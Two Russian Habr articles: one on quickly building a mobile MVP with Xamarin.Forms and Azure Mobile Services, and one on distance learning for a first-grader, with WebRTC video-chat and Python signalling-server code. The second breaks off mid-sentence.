написания статьи работа с этим еще не завершена.
https://habr.com/ru/post/575134/
null
ru
null
# Быстрое создание MVP (minimum viable product) на базе Microsoft Azure и Xamarin.Forms > *Друзья! Мы открываем в нашем блоге колонку на тему разработки мобильных приложений на Xamarin. И первая публикация от Вячеслава Черникова — руководителя отдела разработки компании «Binwell» затрагивает нюансы кроссплатформенной разработки, а также быстрого создания MVP (minimum viable product) мобильного сервиса на базе Xamarin.Forms и [Azure Mobile Services](https://azure.microsoft.com/ru-ru/free/?wt.mc_id=AID570629_QSG_BLOG_139069). Все статьи из колонки можно будет найти и прочитать по ссылке [#xamarincolumn](https://habrahabr.ru/search/?target_type=posts&q=%5Bxamarincolumn%5D&order_by=date)* ### Путь от Qt до Xamarin.Forms, или особенности кросс-платформенной разработки В 2008 году мы решили перейти из сферы продажи мобильных приложений к их разработке, и в качестве отправной точки был выбран [Qt](https://www.qt.io/), так как по спецификациям он охватывал сразу Symbian, Maemo (потом Nokia MeeGo) и Windows Mobile. Плюсами была возможность разработки напрямую в Linux, зрелость самого фреймворка, а также наличие исходных кодов. На Qt писать было приятно: архитектура, логика самого фреймворка и его компонентов, C++, удобная среда разработки. Но когда дело дошло до запуска на различных мобильных ОС, то приходилось еще очень долго работать с нюансами. Для Windows Mobile собирать и пересобирать библиотеки, разбираться в API от Symbian, прописывать зависимости и конфиги для Maemo/Meego. В целом, финальные результаты были очень хорошими, но уже тогда мы убедились, что порог вхождения в кроссплатформенную разработку на самом деле гораздо выше, чем мы ожидали. ![](https://habrastorage.org/r/w1560/files/913/1fa/0da/9131fa0da87342bc906d31b990552081.png) Потом наш выбор упал на HTML5. Результаты были не то, чтобы плохими, но явно не достаточными для создания пользовательских приложений. Потом перешли к разработке на Objective C для iOS и на Java для Android. Результаты были отличные, но один и тот же функционал приходилось реализовывать 2 раза. Следующим шагом стал переход на [Xamarin iOS](https://www.xamarin.com/platform) и [Xamarin Android](https://www.xamarin.com/platform) и использование общей бизнес-логики. После этого Xamarin на долгое время стал для нас основным фреймворком для разработки, и мы со временем привыкли обходить оставленные его создателями подводные камни. Кому интересно, вот тесты сравнения производительности Xamarin с другими фреймворками: [ссылка](https://medium.com/@harrycheung/mobile-app-performance-redux-e512be94f976) В 2014 году появился Xamarin.Forms (далее XF). После двух лет непрерывного использования XF в реальных проектах, сейчас мы можем с уверенностью сказать, что после XF 2.0 продукт дорос до массового использования при создании бизнес-приложений. Именно поэтому мы и выбрали его в качестве основы для создания MVP сервиса Order King. ### Взгляд на Xamarin.Forms после 2 лет использования На хабре уже были полезные статьи про Xamarin.Forms, поэтому в подробности вдаваться не будем. Если коротко, то Xamarin.Forms позволяет создавать мобильные приложения для iOS/Android и Windows (Phone, Store, Universal). Основан он на базе классических Xamarin.iOS и Xamarin.Android, давая дополнительный уровень абстракции при разработке мобильных приложений. ![](https://habrastorage.org/r/w1560/files/0e7/d78/c74/0e7d78c74ddf46b0b5cf50a6f9aca66e.png) Пользовательский интерфейс описывается на XAML (предпочтительнее) или в C#-коде (при необходимости). И если в версиях XF 1.x то и дело возникали мелкие нюансы, устраняемые с усилиями, то в 2.х все стало работать стабильно и хорошо из коробки. Ключевое отличие XF 2.х от 1.х – возможность компиляции XAML (в 1.х был парсинг и интерпретация “на лету”), что сильно ускорило интерфейс и сделало его таким же быстрым, как и при использовании Swift/Java. Сразу добавим, что «из коробки» таких отличных результатов добиться все равно не получится и надо знать много тонкостей, о которых мы расскажем в следующих статьях. Использование Xamarin.Forms не отменяет необходимость изучения целевых платформ (iOS/Android), а даже наоборот, повышает требования к уровню специалистов, так как возникает много интересных моментов именно на стыке XF <-> целевая ОС. Более того, правильным будет переход на XF только после наличия существенного опыта разработки приложений на Objective C/Swift и Java. Из нашей практики, в зависимости от проекта, необходимость спускаться на уровень Xamarin.iOS/Xamarin.Android возникает для реализации 10% функциональности, а на Objective C/Java – 1%-2% (обычно это адаптация и подключение сторонних библиотек). ### Azure Mobile Services для быстрой разработки API-сервиса Начнем мы с разработки Backend (API-сервис), ведь ни один современный мобильный сервис не обходится без серверной инфраструктуры. Здесь нам долго выбирать не пришлось, так как всем нашим требованиям (скорость разработки и разворачивания, возможность масштабирования, низкие затраты на сопровождение) удовлетворяет платформа [Azure](https://azure.microsoft.com/ru-ru/free/?wt.mc_id=AID570629_QSG_BLOG_139069). Без лишних комментариев отметим, что для наших задач она подошла идеально, предоставляя большое количество готовых модулей. На схеме ниже показана верхнеуровневая архитектура Backend-сервиса. ![](https://habrastorage.org/r/w1560/files/38b/d02/be7/38bd02be71044b8d9798e92e8140cf71.png) Если рассматривать те возможности, которыми должен обладать современный Backend для мобильных приложений, помимо предоставления данных и механизмов авторизации, то можно выделить также: отправку Push-уведомлений, отправку Email-уведомлений и отправку SMS-сообщений (критические уведомления и временные коды/пароли). Вот как легко и просто реализовать отправку Push-уведомлений в Azure Mobile Services на Android (iOS и Windows по аналогии). ``` var gcmMessage = new GooglePushMessage(new Dictionary {{ "message", "You got a new message"}}, TimeSpan.FromHours(1)); var result = await Services.Push.SendAsync(gcmMessage); ``` Подробнее: [ссылка](https://azure.microsoft.com/ru-ru/documentation/articles/mobile-services-dotnet-backend-xamarin-android-get-started-push) А вот отправка Email-уведомлений через [SendGrid](https://sendgrid.com/). ``` var message = new SendGridMessage(); message.AddTo("Customer "); message.From = new MailAddress("no-reply@yourservice.com", "Notification Service"); message.Subject = emailSubject; message.Html = "**You got a new message**"; message.Text = "You got a new message"; var credentials = new NetworkCredential(SENDGRID\_USERNAME, SENDGRID\_PASSWORD); var transportWeb = new Web(credentials); await transportWeb.DeliverAsync(message); ``` Подробнее: [ссылка](https://azure.microsoft.com/ru-ru/documentation/articles/sendgrid-dotnet-how-to-send-email) И при необходимости можно подключить [Twilio](https://www.twilio.com/) для отправки SMS: ``` var client = new TwilioRestClient(TWILIO_SID, TWILIO_TOKEN); var result = client.SendMessage("YourSender", "+71234567890", "New message for you"); ``` Подробнее: [ссылка](https://azure.microsoft.com/ru-ru/documentation/articles/twilio-dotnet-how-to-use-for-voice-sms) Вместо Twilio можно использовать российских SMS-провайдеров, которые предоставляют удобные REST-интерфейсы, а иногда и готовые библиотеки для .NET. Для быстрого разворачивания Backend (актуально для MVP) мы используем следующий подход: **Описываем классы с данными (Code First)** ![](https://habrastorage.org/r/w1560/files/534/872/6cf/5348726cfb50424c85408d323e85a275.png) **Обновляем MobileServiceContext** ![](https://habrastorage.org/r/w1560/files/01b/630/428/01b63042876c4badac56fcb8d65d2088.png) **Создаем контроллеры для работы с данными и авторизации** ![](https://habrastorage.org/r/w1560/files/6d0/beb/570/6d0beb57090f43aeba20b83068739429.png) **Публикуем в Azure Mobile Services** Автоматически создается структура базы данных и запускается Backend, к которому можно уже подключать клиентов. В целом на создание и разворачивание типового Backend (работа с данными, авторизация, уведомления) может уйти **от нескольких часов до пары дней** в зависимости от необходимой функциональности. Чтобы минимизировать задержки при взаимодействии между компонентам (SQL Database, Mobile Services, Web Site, BLOB Storage), потребители и поставщики должны находиться в одном дата-центре. ### Архитектура мобильного приложения При разработке мобильных приложении архитектура играет важную роль, так как именно от правильной реализации модулей и их связей зависит возможность отлова багов и развития системы. Мы стараемся минимизировать связи между модулями и придерживаться классической модели MVVM. Вот подход, который мы используем: ![](https://habrastorage.org/r/w1560/files/917/afe/8d1/917afe8d18e841928eb6e42ab1e7b431.png) ### Ускоряем клиент-серверное взаимодействие Завершим мы нашу сегодняшнюю статью маленькими практическими твиками о том, как ускорить передачу данных в ваших мобильных приложениях на Xamarin и облачных сервисах Azure Mobile Serivces. По умолчанию Azure Mobile Services при использовании .NET не поддерживает GZIP-сжатие передаваемых данных. Для того, чтобы его включить можно использовать библиотеку [Microsoft.AspNet.WebApi.MessageHandlers.Compression](https://www.nuget.org/packages/Microsoft.AspNet.WebApi.MessageHandlers.Compression/): **Ставим ее из Nuget** ![](https://habrastorage.org/r/w1560/files/8d4/c82/608/8d4c82608db6461895f60aa5a2448af8.png) **Активируем сжатие** в файле \App\_Start\WebApiConfig.cs ``` public static class WebApiConfig { public static void Register() { var options = new ConfigOptions(); var config = ServiceConfig.Initialize(new ConfigBuilder(options)); config.MessageHandlers.Insert(0, new ServerCompressionHandler(new GZipCompressor(), new DeflateCompressor())); } } ``` **Публикуем изменения на сервере** На стороне клиента в библиотеках Azure Mobile Services по умолчанию используется стандартный для .NET клиент HttpClient. Это, конечно, замечательный программный модуль, но для iOS и для Android есть гораздо более эффективные решения: [NSURLSession](https://developer.apple.com/library/ios/documentation/Foundation/Reference/NSURLSession_class/) и [OkHttp](http://square.github.io/okhttp/). Для их использования в Xamarin.Forms нужно подключить библиотеку [ModernHttpClient](https://www.nuget.org/packages/modernhttpclient/): 1. Устанавливаем ее из Nuget для всех проектов в Solution. 2. Активируем при создании клиента к Azure Mobile Services ``` var _client = new MobileServiceClient(API_BASE_URL, API_KEY, new NativeMessageHandler()); ``` Теперь у нас сервер сжимает данные, а клиент использует быстрые библиотеки для их загрузки. ### Выводы 1. Использование кросс-платформенных фрейморков требует хороших знаний каждой из платформ для создания качественных мобильных приложений. 2. На базе Azure Mobile Services можно за пару часов развернуть полноценный Backend со всем необходимым функционалом. 3. Xamarin.Forms позволяет создавать качественные мобильные приложения, сокращая время вывода продукта на рынок. На этом мы завершим нашу сегодняшнюю статью. В следующих публикациях мы расскажем о том, как обходить основные проблемные места Xamarin.Forms. #### Об авторах ![](https://habrastorage.org/files/f70/e9c/e7a/f70e9ce7a2bd45a98e19652a08b15e26.JPG) Вячеслав Черников — руководитель отдела разработки компании [Binwell](http://www.binwell.com/). В прошлом — один из Nokia Champion и Qt Certified Specialist, в настоящее время — специалист по платформам Xamarin и [Azure](https://azure.microsoft.com/ru-ru/free/?wt.mc_id=AID570629_QSG_BLOG_139069). В сферу mobile пришел в 2005 году, с 2008 года занимается разработкой мобильных приложений: начинал с Symbian, Maemo, Meego, Windows Mobile, потом перешел на iOS, Android и Windows Phone. Мы с удовольствием анонсируем, что Вячеслав выступит в качестве эксперта на мастер-классе по Xamarin на конференции [DevCon 2016](http://www.msdevcon.ru/speakers), где поделится опытом разработки приложений для Apple Watch и Google Wear. **Другие статьи автора:** * [Авторизация OAuth для Xamarin-приложений](https://habrahabr.ru/company/microsoft/blog/332970) * [Деплоим мобильный софт с помощью devops-конвейера Microsoft](https://habrahabr.ru/company/microsoft/blog/329908/) * [DevOps на службе человека](https://habrahabr.ru/company/microsoft/blog/325184/) * [Автоматизируем неавтоматизируемое, или про Xamarin в реальных проектах](https://habrahabr.ru/company/microsoft/blog/327900/) * [Удобный REST для Xamarin-приложений](https://habrahabr.ru/company/microsoft/blog/310704/) * [Готовим Xamarin.Forms: настройка окружения и первые шаги](https://habrahabr.ru/company/microsoft/blog/303630/) * [Повышаем эффективность работы в Xamarin.Forms](https://habrahabr.ru/company/microsoft/blog/304678/) * [Работаем с состояниями экранов в Xamarin.Forms](https://habrahabr.ru/company/microsoft/blog/307890/) * [Подключаем Facebook SDK для Xamarin.Forms](https://habrahabr.ru/company/microsoft/blog/321454/) * [Подключаем ВКонтакте SDK для Xamarin.Forms](https://habrahabr.ru/company/microsoft/blog/323296/) #### Полезные ссылки * Анонс бесплатных инструментов Xamarin для разработки кроссплатформенных приложений на С# [по ссылке](https://habrahabr.ru/company/microsoft/blog/281142/) * Visual Studio 2015 Community, Visual Studio Team Services, Visual Studio Code: [бесплатные предложения для разработчиков](https://www.visualstudio.com/ru-ru/products/free-developer-offers-vs.aspx) * Дополнительные и бесплатные инструменты и службы в программе [Visual Studio Dev Essentials](https://www.visualstudio.com/ru-ru/products/visual-studio-dev-essentials-vs.aspx) * [Лабораторные работы](https://msdn.microsoft.com/ru-ru/mt627843.aspx) по разработке, тестированию и управлению жизненым циклом ПО для Visual Studio 2015
https://habr.com/ru/post/281897/
null
ru
null
# О первоклашках, дистанционке и асинхронном программировании ![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/ec2/abc/c81/ec2abcc818a804c7333c0231dfda45fe.jpg) Я дауншифтер. Так получилось, что последние три года мы с женой и младшим ребёнком наслаждаемся сельским пейзажем за окном, свежим воздухом и пением птиц. Удобства в доме, оптический интернет от местного провайдера, мощный бесперебойник и нагрянувший ковид неожиданно сделали идею переезда из мегаполиса не такой уж странной. Пока я увлеченно занимался веб разработкой, где-то на фоне жена периодически жаловалась на проблемы выбора школы для ребёнка. И тут (вдруг) ребёнок подрос и школьный вопрос встал ребром. Ладно, значит, время пришло. Давайте вместе разберёмся, что же все-таки не так с системой образования в бывшей 1/6 части суши, и что мы с вами можем с этим сделать? Традиционные методы очного обучения я оставлю за рамками этой статьи. Скажу только, что у обычных школ есть как неоспоримые преимущества, так и серьезные недостатки, к которым, кстати, в последнее время добавилась вынужденная самоизоляция. Здесь мы рассмотрим варианты дистанционного и семейного образования, которые, по целому ряду причин, в последнее время привлекают все больше родителей. Внесу ясность: дистанционное обучение подразумевает занятия в обычной школе с помощью «дистанционных образовательных технологий» (ДОТ), а семейное означает добровольный уход из школы и обучение только силами семьи (по сути, это старый добрый экстернат). Впрочем, в любом случае ребёнка нужно прикрепить к какой-либо из доступных школ, как минимум, для сдачи промежуточных аттестаций. А теперь немного наблюдений из жизни. С вынужденным переводом на дистанционку детей, уже учившихся в обычной школе, все грустно. Школьники воспринимают этот подарок судьбы как своего рода каникулы, родители не привыкли следить за дисциплиной во время занятий и в результате общая успеваемость неизбежно падает. С первоклашками, особенно в случае семейной формы, у родителей, пожалуй, появляется шанс поставить ребёнка «на рельсы», используя естественный интерес и эффект новизны. Лично для меня добиться самостоятельности — главная задача. Сидеть и делать с ребёнком домашку я считаю ~~верхом глупости~~ не совсем разумным. Конечно, если вы хотите, чтобы ваши дети чего-то добились в жизни и не висели у вас на шее. Я хочу, поэтому моя цель — научить ребёнка учиться, правильно задавать вопросы и вообще, думать своей головой. ### Ближе к делу. Выбираем государственную школу Пожалуй, семейное образование мне нравится больше из-за возможности выбрать программу и график обучения. Да и физически посещать школу можно реже. Но выбрать государственную школу, поговорить с директором о прикреплении ребёнка и получить приказ о зачислении в первый класс нужно уже в конце зимы, чтобы в сентябре не было сюрпризов. Хотя, с юридической точки зрения, закон об образовании вроде бы не требует ежегодных аттестаций, «дедлайны», по моему опыту, отлично мотивируют, поэтому пусть будут аттестации. Вряд ли любая школа примет нас с распростертыми объятьями, но найти достойный вариант в ближайшем городе мы сможем, я уверен. ### Выбираем учебную программу Именно выбираем. Пытаться составить программу самостоятельно, не имея профильного образования, не разумно. Хотя существуют государственные образовательные ресурсы, такие как Российская Электронная Школа ([РЭШ](https://resh.edu.ru/)) и Московская Электронная Школа ([МЭШ](https://www.mos.ru/city/projects/mesh/)), которых в теории могло было бы хватить, но… Оба варианта предоставляют планы уроков, видеозаписи, тесты и учебные пособия. Вот чего мне не удалось найти, так это самих учебников, даже по обязательной программе. И тут нет самого главного: общения. Обучить ребёнка, показывая ему бесконечные видеоролики и заставляя ставить галочки в тестах, не получится. Значит, нужно либо проводить уроки полностью самостоятельно, либо выбрать одну из онлайн школ. ### Выбираем онлайн школу Мы почти вернулись к тому, с чего начали. Дистанционка? Ладно, присмотримся к ней повнимательней. Как вообще можно организовать учебный процесс удаленно? Тут возникает много вопросов, я подниму только ключевые: \* Живое общение. Что предлагают школы? Скайп, в лучшем случае Тимс. Уроки по Скайпу? Серьёзно? Если я не ошибаюсь, на дворе 2020-й. Открыть перед первоклашкой несколько окон с красивыми разноцветными кнопочками и ждать, что он на них не нажмет, а будет пол-дня послушно слушать скучного дядю или тетю? Ни разу таких детей не видел. А вы? \* Домашка. Точнее, как она попадает к учителю на проверку? На самом деле, это действительно сложный вопрос, возможно, даже не решаемый в принципе. Существующие варианты: 1. Написать в тетрадке, сфоткать и отправить учителю. Бр-р-р, не хочу заставлять учителей ломать глаза в попытках прочесть мутные фотки с мобильников, сделанные, как правило, по какому-то неписанному закону в темноте. 2. Отправить скан. Полумера, в общем случае невозможная из-за отсутствия у родителей нужного оборудования. 3. Оцифровать рукописный ввод с помощью дигитайзера или планшета. Так себе вариант, но об этом чуть позже. 4. Напечатать текст. В принципе, допустимо, но вот как ребёнок введёт с клавиатуры, например, математическую или химическую формулу? Никак. Плюс, для более продвинутых деток, проблема с плагиатом. 5. Выполнить онлайн тест. Это, безусловно, самый популярный вариант. Полагаю, большинство школ, включая РЭШ и МЭШ, ориентируются на него. На практике это означает скорее дрессировку, чем обучение. Дети учатся ставить галочки в правильном месте. За бортом остаются предметы, требующие любой формы творчества, например, сочинения, а также диктанты и непопулярное теперь по неведомой мне причине чистописание. Сюда же можно отнести умение отстаивать своё мнение. \* Оценки. Очевидно, выставленные на уроке и при проверке домашних заданий оценки должны попадать в электронный дневник, доступный родителям. И они туда попадают. Вот только не сразу. Я поинтересовался у старших детей, закончивших один из престижных лицеев златоглавой (по иронии судьбы, с информационным уклоном), почему так? Ответ, честно сказать, меня удивил. Оказывается, учителя записывают оценки на бумажку, а после уроков вбивают их в этот самый электронный дневник на государственном портале. И это в то время, как Теслы Илона Маска бороздят просторы космоса… Ладно, пора провести небольшое техническое исследование и проверить, может существуют объективные причины такого положения дел? Давайте определим требования к гипотетической идеальной платформе для обучения. На самом деле, все просто: дети должны оставаться на уроке, сосредоточившись на том, что говорит и показывает учитель, при необходимости отвечая на вопросы и при желании поднимая руку. По сути, нам нужно окно на полный экран с потоком с учительской камеры, презентацией или интерактивной доской. Самый простой способ добиться этого — использовать технологию [WebRTC](https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API) (real-time communications, коммуникации в реальном времени). Эта штука работает в любом более-менее современном браузере, не требует покупки дополнительного оборудования и, к тому же, обеспечивает хорошее качество связи. И да, этот стандарт требует асинхронного программирования как минимум потому, что необходимый JS метод navigator.mediaDevices.getUserMedia() возвращает [промис](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia). Вроде все понятно, приступаю к реализации. **Лирическое отступление о выборе фреймворка** В последнее время я все чаше слышу мнение о том, что «чистый» JavaScript шагнул далеко вперед, проблем с кроссбраузерностью уже нет и фреймворки на фронтэнде не нужны вообще. Особенно часто критике подвергается [jQuery](https://jquery.com/). Хорошо, стряхнем пыль со старого доброго JS и сравним: ``` // Выбрать элемент element = $(selector); element = document.querySelector(selector); // Выбрать элемент внутри элемента element2 = element.find(selector2); element2 = element.querySelector(selector2); // Скрыть элемент element.hide(); // добавляет стиль display: none element.classList.add('hidden'); ``` Тут нужно пояснить, что CSS классу «hidden», при желании, можно прописать свойства opacity и transition, что даст эффект fadeIn/fadeOut на чистом CSS. Отлично, давно хотел отказаться от JS анимации! ``` // Слушать событие onClick element.click(e => { ... }); element.onclick = (e) => { ... } // Переключить класс element.toggleClass(class_name); element.classList.toggle(class_name); // Создать div div = $(""); div = document.createElement("div"); // Вставить созданный div в element // (это не опечатка, можно писать одинаково) element.append(div); element.append(div); ``` И т.д и т.п. В целом, код на чистом JS получается немного более многословным, но такова цена повышения производительности и снижения трафика. Нет, я никого не агитирую, но для эксперимента использую «нативный» JS с удовольствием! WebRTC предназначен для связи между браузерами напрямую, по технологии точка-точка (p2p). Однако, чтобы установить эту связь, браузеры должны сообщить друг другу о своем намерении общаться. Для этого понадобится сервер [сигнализации](https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling). **Пример базовой реализации простого видеочата, использующего топологию «full mesh»** ``` 'use strict'; (function () { const selfView = document.querySelector('#self-view'), remoteMaster = document.querySelector('#remote-master'), remoteSlaves = document.querySelector('#remote-slaves'); let localStream, selfStream = null, socket = null, selfId = null, connections = {}; // *********************** // UserMedia & DOM methods // *********************** const init = async () => { try { let stream = await navigator.mediaDevices.getUserMedia({ audio: true, video: { width: { max: 640 }, height: { max: 480 } } }); localStream = stream; selfStream = new MediaStream(); stream.getVideoTracks().forEach(track => { selfStream.addTrack(track, stream); // track.kind == 'video' }); selfView.querySelector('video').srcObject = selfStream; } catch (e) { document.querySelector('#self-view').innerHTML = '*Веб камера и микрофон не найдены*'; console.error('Local stream not found: ', e); } wsInit(); } const createRemoteView = (id, username) => { let iDiv = document.querySelector('#pc' + id); if (!iDiv) { iDiv = document.createElement('div'); iDiv.className = 'remote-view'; iDiv.id = 'pc' + id; let iVideo = document.createElement('video'); iVideo.setAttribute('autoplay', 'true'); iVideo.setAttribute('playsinline', 'true'); let iLabel = document.createElement('span'); iDiv.append(iVideo); iDiv.append(iLabel); if (!remoteMaster.querySelector('video')) { remoteMaster.append(iDiv); iLabel.textContent = 'Ведущий'; } else { remoteSlaves.append(iDiv); iLabel.textContent = username; } remoteMaster.style.removeProperty('display'); } } // ******************************* // Signaling (Web Socket) methods // ******************************* const wsInit = () => { socket = new WebSocket(SIGNALING_SERVER_URL); socket.onopen = function (e) { log('[socket open] Соединение установлено'); } socket.onmessage = function (event) { log('[socket message] Данные получены с сервера', event); wsHandle(event.data); } socket.onclose = function (event) { if (event.wasClean) { log('[close] Соединение закрыто чисто, ' + `код=${event.code} причина=${event.reason}`); } else { log('[socket close] Соединение прервано', event); } clearInterval(socket.timer); } socket.onerror = function (error) { logError('[socket error]', error); } socket.timer = setInterval(() => { socket.send('heartbeat'); }, 10000); } const wsHandle = async (data) => { if (!data) { return; } try { data = JSON.parse(data); } catch (e) { return; } switch (data.type) { case 'handshake': selfId = data.uid; if (!Object.keys(data.users).length) { createRemoteView(selfId, 'Ведущий'); remoteMaster.querySelector('video').srcObject = selfStream; selfView.remove(); break; } else { selfView.style.removeProperty('display'); } for (let id in data.users) { await pcCreate(id, data.users[id]); } break; case 'offer': await wsHandleOffer(data); break; case 'answer': await wsHandleAnswer(data) break; case 'candidate': await wsHandleICECandidate(data); break; default: break; } } const wsHandleOffer = async (data) => { let pc = null; if (!connections[data.src]) { await pcCreate(data.src, data.username); } pc = connections[data.src].pc; // We need to set the remote description to the received SDP offer // so that our local WebRTC layer knows how to talk to the caller. let desc = new RTCSessionDescription(data.sdp); pc.setRemoteDescription(desc).catch(error => { logError('handleOffer', error); }); await pc.setLocalDescription(await pc.createAnswer()); wsSend({ type: 'answer', target: data.src, sdp: pc.localDescription }); connections[data.src].pc = pc; // ??? } const wsHandleAnswer = async (data) => { log('*** Call recipient has accepted our call, answer:', data); let pc = connections[data.src].pc; // Configure the remote description, // which is the SDP payload in our 'answer' message. let desc = new RTCSessionDescription(data.sdp); await pc.setRemoteDescription(desc).catch((error) => { logError('handleAnswer', error); }); } const wsHandleICECandidate = async (data) => { let pc = connections[data.src].pc; let candidate = new RTCIceCandidate(data.candidate); log('*** Adding received ICE candidate', candidate); pc.addIceCandidate(candidate).catch(error => { logError('handleICECandidate', error); }); } const wsSend = (data) => { if (socket.readyState !== WebSocket.OPEN) { return; } socket.send(JSON.stringify(data)); } // *********************** // Peer Connection methods // *********************** const pcCreate = async (id, username) => { if (connections[id]) { return; } try { let pc = new RTCPeerConnection(PC_CONFIG); pc.onicecandidate = (event) => pcOnIceCandidate(event, id); pc.oniceconnectionstatechange = (event) => pcOnIceConnectionStateChange(event, id); pc.onsignalingstatechange = (event) => pcOnSignalingStateChangeEvent(event, id); pc.onnegotiationneeded = (event) => pcOnNegotiationNeeded(event, id); pc.ontrack = (event) => pcOnTrack(event, id); connections[id] = { pc: pc, username: username } if (localStream) { try { localStream.getTracks().forEach( (track) => connections[id].pc.addTransceiver(track, { streams: [localStream] }) ); } catch (err) { logError(err); } } else { // Start negotiation to listen remote stream only pcOnNegotiationNeeded(null, id); } createRemoteView(id, username); } catch (error) { logError('Peer: Connection failed', error); } } const pcOnTrack = (event, id) => { let iVideo = document.querySelector('#pc' + id + ' video'); iVideo.srcObject = event.streams[0]; } const pcOnIceCandidate = (event, id) => { let pc = connections[id].pc; if (event.candidate && pc.remoteDescription) { log('*** Outgoing ICE candidate: ' + event.candidate); wsSend({ type: 'candidate', target: id, candidate: event.candidate }); } } const pcOnNegotiationNeeded = async (event, id) => { let pc = connections[id].pc; try { const offer = await pc.createOffer(); // If the connection hasn't yet achieved the "stable" state, // return to the caller. Another negotiationneeded event // will be fired when the state stabilizes. if (pc.signalingState != 'stable') { return; } // Establish the offer as the local peer's current // description. await pc.setLocalDescription(offer); // Send the offer to the remote peer. wsSend({ type: 'offer', target: id, sdp: pc.localDescription }); } catch(err) { logError('*** The following error occurred while handling' + ' the negotiationneeded event:', err); }; } const pcOnIceConnectionStateChange = (event, id) => { let pc = connections[id].pc; switch (pc.iceConnectionState) { case 'closed': case 'failed': case 'disconnected': pcClose(id); break; } } const pcOnSignalingStateChangeEvent = (event, id) => { let pc = connections[id].pc; log('*** WebRTC signaling state changed to: ' + pc.signalingState); switch (pc.signalingState) { case 'closed': pcClose(id); break; } } const pcClose = (id) => { let remoteView = document.querySelector('#pc' + id); if (connections[id]) { let pc = connections[id].pc; pc.close(); delete connections[id]; } if (remoteView) { remoteView.remove(); } } // ******* // Helpers // ******* const log = (msg, data) => { if (!data) { data = '' } console.log(msg, data); } const logError = (msg, data) => { if (!data) { data = '' } console.error(msg, data); } init(); })(); ``` Сервер сигнализации выполнен на Python фреймвоке aiohttp и представляет собой простую «вьюху», тривиально проксирующую запросы WebRTC. Соединение с сервером в этом примере выполнено на [веб сокетах](https://developer.mozilla.org/en-US/docs/Web/API/WebSocket). Ну и, в дополнение, через канал сигнализации передаются данные простого текстового чата. **Пример реализации сервера сигнализации** ``` import json from aiohttp.web import WebSocketResponse, Response from aiohttp import WSMsgType from uuid import uuid1 from lib.views import BaseView class WebSocket(BaseView): """ Process WS connections """ async def get(self): username = self.request['current_user'].firstname or 'Аноним' room_id = self.request.match_info.get('room_id') if room_id != 'test_room' and self.request['current_user'].is_anonymous: self.raise_error('forbidden') # @TODO: send 4000 if (self.request.headers.get('connection', '').lower() != 'upgrade' or self.request.headers.get('upgrade', '').lower() != 'websocket'): return Response(text=self.request.path) # ??? self.ws = WebSocketResponse() await self.ws.prepare(self.request) self.uid = str(uuid1()) if room_id not in self.request.app['web_sockets']: self.request.app['web_sockets'][room_id] = {} self.room = self.request.app['web_sockets'][room_id] users = {} for id, data in self.room.items(): users[id] = data['name'] ip = self.request.headers.get( 'X-FORWARDED-FOR', self.request.headers.get('X-REAL-IP', self.request.remote)) msg = { 'type': 'handshake', 'uid': str(self.uid), 'users': users, 'ip': ip} await self.ws.send_str(json.dumps(msg, ensure_ascii=False)) self.room[self.uid] = {'name': username, 'ws': self.ws} try: async for msg in self.ws: if msg.type == WSMsgType.TEXT: if msg.data == 'heartbeat': print('---heartbeat---') continue try: msg_data = json.loads(msg.data) if 'target' not in msg_data or msg_data['target'] not in self.room: continue msg_data['src'] = self.uid if 'type' in msg_data and 'target' in msg_data: if msg_data['type'] == 'offer': msg_data['username'] = username else: print('INVALID DATA:', msg_data) except Exception as e: print('INVALID JSON', e, msg) try: await self.room[msg_data['target']]['ws'].send_json( msg_data); except Exception as e: if 'target' in msg_data: self.room.pop(msg_data['target']) finally: self.room.pop(self.uid) return self.ws ``` Технология WebRTC, кроме видеосвязи, позволяет предоставить браузеру разрешение на захват [содержимого дисплея](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getDisplayMedia) или отдельного приложения, что может оказаться незаменимым при проведении онлайн уроков, вебинаров или презентаций. Отлично, используем. Я так увлекся современными возможностями видеосвязи, что чуть не забыл о самом главном предмете в классе — интерактивной доске. Впрочем, базовая реализация настолько тривиальна, что я не стану загромождать ею эту статью. Просто добавляем [canvas](https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API/Tutorial/Basic_usage), слушаем события перемещения мыши onmousemove (ontouchmove для планшетов) и отправляем полученные координаты всем подключенным точкам через тот же сервер сигнализации. ### Тестируем интерактивную доску Тут понадобится планшет, дигитайзер и живой ребёнок. Заодно проверим возможность оцифровки рукописного ввода. Для начала я взял старенький планшет Galaxy Tab на андроиде 4.4, самодельный стилус и первые попавшиеся прописи в качестве фона для canvas. Дополнительные программы не устанавливал. Результат меня обескуражил: мой планшет абсолютно не пригоден для письма! То есть водить по нему пальцем — без проблем, а вот попасть стилусом в контур буквы, даже такой огромной, как на картинке ниже, уже проблема. Плюс гаджет начинает тупить в процессе рисования, в результате чего линии становятся ломанными. Плюс мне не удалось заставить ребёнка не опирать запястье на экран, отчего под рукой остается дополнительная мазня, а сам планшет начинает тормозить еще больше. Итог: обычный планшет для письма на доске не подходит. Максимум его возможностей — двигать пальцем по экрану достаточно крупные фигуры. Но предлагать это школьникам поздновато. Ладно, у нас ведь чисто теоретическое исследование, верно? Тогда берем дигитайзер (он же графический планшет) Wacom Bamboo формата A8, и наблюдаем за ребёнком. Замечу, что мой подопытный шести лет от роду получил ноутбук, да еще с графическим пером первый раз в жизни. На получение базовых навыков обращения с пером у нас ушло минут десять, а уже на втором уроке ребёнок пользовался планшетом вполне уверенно, самостоятельно стирал с доски, рисовал рожицы, цветочки, нашу собаку и даже начал тыкать доступные в эпсилон окрестности кнопки, попутно задавая вопросы типа «А зачем в школе поднимают руку?». Вот только результат неизменно оставлял желать лучшего. Дело в том, что дизайнеры и художники для прорисовки элемента максимально увеличивают фрагмент изображения, что и делает линии точными. Здесь же мы должны видеть доску целиком, в масштабе 1:1. Тут и взрослый не попадет в линию. Вот что получилось у нас: ![image](https://habrastorage.org/r/w780q1/webt/fb/x-/fr/fbx-fr4gev9xn0i57ztkayseye8.jpeg) Итоговый вердикт: ни о каком рукописном вводе не может быть и речи. А если мы хотим «поставить руку» нашим детям, нужно добиваться этого самостоятельно, на бумаге, школа в этом никак не поможет. Надо сказать, что ребёнок воспринял все мои эксперименты с восторгом и, более того, с тех пор ходит за мной хвостиком и просит «включить прописи». Уже хорошо, полученный навык ему пригодится, только совсем для других целей. Так или иначе, в результате экспериментов я фактически получил MVP — минимально жизнеспособный 